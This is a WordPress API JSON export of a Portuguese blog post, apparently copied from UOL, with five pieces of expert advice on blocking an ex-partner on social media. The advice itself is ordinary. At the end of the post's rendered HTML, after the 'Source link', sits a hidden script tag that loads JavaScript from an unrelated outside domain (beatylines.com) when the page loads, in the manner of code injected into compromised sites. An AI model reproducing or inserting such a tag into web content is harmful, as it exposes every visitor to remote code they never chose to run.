{"id":2197,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/cinco-conselhos-para-nao-ver-o-ex-nas-redes-sociais\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"cinco-conselhos-para-nao-ver-o-ex-nas-redes-sociais","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/cinco-conselhos-para-nao-ver-o-ex-nas-redes-sociais\/","title":{"rendered":"Cinco conselhos para n\u00e3o ver o ex nas redes sociais"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Existe aquele velho clich\u00ea que diz que se voc\u00ea ama algu\u00e9m precisa deix\u00e1-lo ir. T\u00e9rminos de relacionamento nunca s\u00e3o f\u00e1ceis de encarar. D\u00f3i e machuca ver algu\u00e9m que a gente ama partir por escolha. Mas tempo e dist\u00e2ncia s\u00e3o os \u00fanicos rem\u00e9dios conhecidos para curar um cora\u00e7\u00e3o partido.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Ter paci\u00eancia para esperar e se manter longe, no entanto, pode ser um desafio quando o perfil de algu\u00e9m est\u00e1 a poucos cliques de dist\u00e2ncia. Quem nunca caiu na tenta\u00e7\u00e3o de dar aquela stalkeadinha? \u00c9 realmente dif\u00edcil resistir, mas especialistas em encontrar a cura para a tristeza p\u00f3s-t\u00e9rmino recomendam que voc\u00ea n\u00e3o fa\u00e7a isso. E dizem mais: se precisar, bloqueie.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">N\u00e3o existe certo ou errado na hora de tomar essa decis\u00e3o, mas, para te ajudar a meter o dedo no block sem d\u00f3 e sem culpa, aqui v\u00e3o alguns conselhos:<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><strong><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">1. Fu\u00e7ar n\u00e3o vai mudar nada<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/strong><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Ok, nenhum t\u00e9rmino acontece de forma totalmente tranquila, ent\u00e3o tudo bem ter um pouco de raiva ou ran\u00e7o, mas ficar procurando a rede social alheia para ver se aquela pessoa j\u00e1 se ferrou na vida s\u00f3 vai aumentar o seu mal-estar. Bloquear e tirar aquilo da frente vai te ajudar a se preservar e n\u00e3o passar raiva nem tristeza.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">&#8220;As <a href=\"https:\/\/www.uol.com.br\/tilt\/redes-sociais\/ \">redes sociais<\/a> provocam o nosso pior&#8221;, opina Helo\u00edsa Capelas, especialista em autoconhecimento no Centro Hoffman no Brasil. <\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">&#8220;Elas ampliam a nossa capacidade de nos relacionarmos, mas, por outro lado, em rela\u00e7\u00f5es mal resolvidas e intranquilas, elas provocam ci\u00fames, disputa e competi\u00e7\u00e3o e s\u00e3o usadas para controlar o outro&#8221;, completa.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">N\u00e3o importa a rede: Twitter, Instagram, <a href=\"https:\/\/www.uol.com.br\/tilt\/facebook\/\">Facebook<\/a>, <a href=\"https:\/\/www.uol.com.br\/tilt\/whatsapp\/\">WhatsApp<\/a>, at\u00e9 LinkedIn. Se voc\u00ea terminou, fuja de todos os perfis do seu ex. Voc\u00ea n\u00e3o vai mudar o que aconteceu stalkeando o ex ou esperando ele ficar online.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><strong><span><span style=\"color:black\">2. Voc\u00ea n\u00e3o est\u00e1 sendo infantil<\/span><\/span><\/strong><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">&#8220;Corte a pessoa por completo&#8221;, aconselha Adriana Nunan, autora do livro &#8220;Relacionamentos Amorosos na Era Digital&#8221; e doutora em psicologia cl\u00ednica. &#8220;Se o objetivo era acabar com o relacionamento, por que manter contato? Temos medo de julgamento, mas bloquear n\u00e3o \u00e9 uma atitude infantil, \u00e9 uma atitude de autopreserva\u00e7\u00e3o&#8221;, completa. Viu?<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Ficar olhando as redes sociais e postagens de quem terminou com voc\u00ea pode prolongar o seu sofrimento e tamb\u00e9m o seu v\u00ednculo com aquela pessoa. &#8220;N\u00e3o \u00e9 saud\u00e1vel&#8221;, diz Nunes.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Para Capelas, \u00e9 preciso coragem para dizer n\u00e3o \u00e0quela espiadinha no perfil do ex-consagrado. &#8220;Quando voc\u00ea n\u00e3o p\u00f5e um ponto final, o relacionamento se alonga&#8221;, afirma.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">&#8220;Se n\u00e3o era t\u00f3xico, acaba ficando. A gente n\u00e3o precisa sofrer por conta de um relacionamento nem quando est\u00e1 nele nem quando termina&#8221;, diz.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Bloquear pode ser um ato de gentileza consigo mesmo \u2014ou at\u00e9 com o outro. &#8220;Se eu n\u00e3o quero mais o outro, por que vou deixar que ele me veja feliz sem ele? Isso s\u00f3 vai magoar, por que fazer?&#8221;, questiona Capelas.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">&#8220;Mesmo que voc\u00ea seja a pessoa que terminou, diria que \u00e9 \u00e9tico desaparecer da vida de ex&#8221;, diz.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">E se voc\u00ea for bloqueado, n\u00e3o leve a mal. &#8220;Para quem terminou, o fim do relacionamento n\u00e3o \u00e9 uma surpresa, mas, para o &#8216;terminado&#8217;, n\u00e3o houve um alerta. Ser pego de surpresa magoa muito&#8221;, lembra Nunes. <\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">O block pode indicar raiva, sim, mas tamb\u00e9m tristeza ou uma tentativa do outro de se reerguer, ent\u00e3o seja compreensivo, mesmo que a decis\u00e3o de terminar n\u00e3o tenha sido f\u00e1cil de ser tomada.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">E se o seu\/sua ex te impediu de entrar em contato e ver postagens, respeite. Nas redes sociais \u2014e na vida\u2014, o que vale \u00e9 o bom senso.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><strong><span><span style=\"color:black\">3. O Instagram \u00e9 uma vitrine<\/span><\/span><\/strong><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Quando voc\u00ea conhece algu\u00e9m novo, qual a primeira coisa que voc\u00ea faz? D\u00e1 aquela fu\u00e7adinha no Instagram, certo? Quem est\u00e1 de volta ao mercado precisa vender seu peixe.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">&#8220;Voc\u00ea posta o que voc\u00ea quer ser, n\u00e3o o que voc\u00ea \u00e9 de fato. Passa a sensa\u00e7\u00e3o de que a sua vida est\u00e1 \u00f3tima e de que a fila andou&#8221;, diz Nunes. E a\u00ed quem est\u00e1 do outro lado se sente uma porcaria, n\u00e9?<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Por mais que a gente saiba que a imagem nas redes sociais \u00e9 toda constru\u00edda, que \u00e9 uma curadoria dos melhores momentos das nossas vidas, a grama do vizinho sempre parece mais verde. E se for de algu\u00e9m que te magoou, ent\u00e3o, parece que ela at\u00e9 floresce.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Para evitar maiores transtornos (mentais), lembre-se: nada no Instagram \u00e9 100% real. E bloqueie, se necess\u00e1rio.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><strong><span><span style=\"color:black\">4. N\u00e3o precisa bloquear todo mundo<\/span><\/span><\/strong><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Se voc\u00ea ficou amigo dos amigos ou ficou muito pr\u00f3ximo da fam\u00edlia, n\u00e3o precisa sair bloqueando geral. &#8220;Pe\u00e7a para a pessoa n\u00e3o te contar coisas sobre o ex para que seja poss\u00edvel manter a amizade&#8221;, aconselha Nunes.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Al\u00e9m disso, controle-se para n\u00e3o ficar procurando a cara de quem n\u00e3o quer mais te ver no perfil alheio.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><strong><span><span style=\"color:black\">5. Pode ser tempor\u00e1rio<\/span><\/span><\/strong><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">A n\u00e3o ser que voc\u00ea tenha passado por um relacionamento abusivo ou viol\u00eancia dom\u00e9stica, o bloqueio n\u00e3o precisa ser para sempre. Em m\u00e9dia, as pessoas podem levar at\u00e9 um ano para superar um relacionamento que terminou, segundo Nunes, ent\u00e3o, seja paciente.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Para Capelas, existe um n\u00famero m\u00e1gico para manter o sumi\u00e7o, que \u00e9 de tr\u00eas meses. &#8220;Nesse tempo voc\u00ea se reorganiza, e novos h\u00e1bitos s\u00e3o criados&#8221;, afirma.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">&#8220;Tem gente que \u00e9 legal e \u00e9 uma pena perder na nossa vida, ent\u00e3o, se a pessoa n\u00e3o fez nada grave e o t\u00e9rmino foi apenas uma incompatibilidade, d\u00e1 para voltar a conversar&#8221;, diz Capelas. &#8220;N\u00e3o precisa ser melhor amigo, mas pode manter contato.&#8221;<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Depois de um tempo de afastamento, fica mais tranquilo poder voltar a conversar de uma maneira amig\u00e1vel e, quem sabe, estabelecer regras para uma conviv\u00eancia saud\u00e1vel \u2014afinal, um dia voc\u00ea j\u00e1 amou aquela pessoa.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><strong><span><span style=\"color:black\">B\u00f4nus: fa\u00e7a terapia<\/span><\/span><\/strong><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Seja voc\u00ea o &#8220;terminado&#8221; ou o &#8220;terminador&#8221;, investigue os motivos que levaram a rela\u00e7\u00e3o ao fim, tanto para evitar cair numa nova cilada quanto para se conhecer melhor e superar o t\u00e9rmino, que pode ser encarado como uma esp\u00e9cie de luto, e merece aten\u00e7\u00e3o.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Consultar um especialista pode nos ajudar a entender melhor a import\u00e2ncia que damos \u00e0s redes sociais, os erros que cometemos online e offline quando nos relacionamos e nos ajuda a n\u00e3o cometer mais os mesmos erros.<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<p style=\"-webkit-text-stroke-width:0px; text-align:start; text-indent:0px\"><span><span><span><span><span><span><span><span><span><span><span><span><span style=\"color:#222222\"><span><span><span style=\"color:black\">Ao inv\u00e9s de olhar para a tela, que tal olhar para dentro?<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/colunas\/sexting\/2022\/07\/03\/quem-ama-bloqueia-veja-5-conselhos-para-voce-bloquear-seu-ex-nas-redes.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Existe aquele velho clich\u00ea que diz que se voc\u00ea ama algu\u00e9m precisa deix\u00e1-lo ir. T\u00e9rminos de relacionamento nunca s\u00e3o f\u00e1ceis de encarar. D\u00f3i e machuca ver algu\u00e9m que a gente ama partir por escolha. Mas tempo e dist\u00e2ncia s\u00e3o os \u00fanicos rem\u00e9dios conhecidos para curar um cora\u00e7\u00e3o partido. Ter paci\u00eancia para esperar e se manter&#8230;<\/p>\n","protected":false},"author":1,"featured_media":2198,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"footnotes":""},"categories":[1],"tags":[452,2439,255,18,85,19,307,741],"class_list":["post-2197","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sem-categoria","tag-cinco","tag-conselhos","tag-nao","tag-nas","tag-para","tag-redes","tag-sociais","tag-ver"],"_links":{"self":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/2197","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/comments?post=2197"}],"version-history":[{"count":0,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/2197\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media\/2198"}],"wp:attachment":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media?parent=2197"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/categories?post=2197"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/tags?post=2197"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}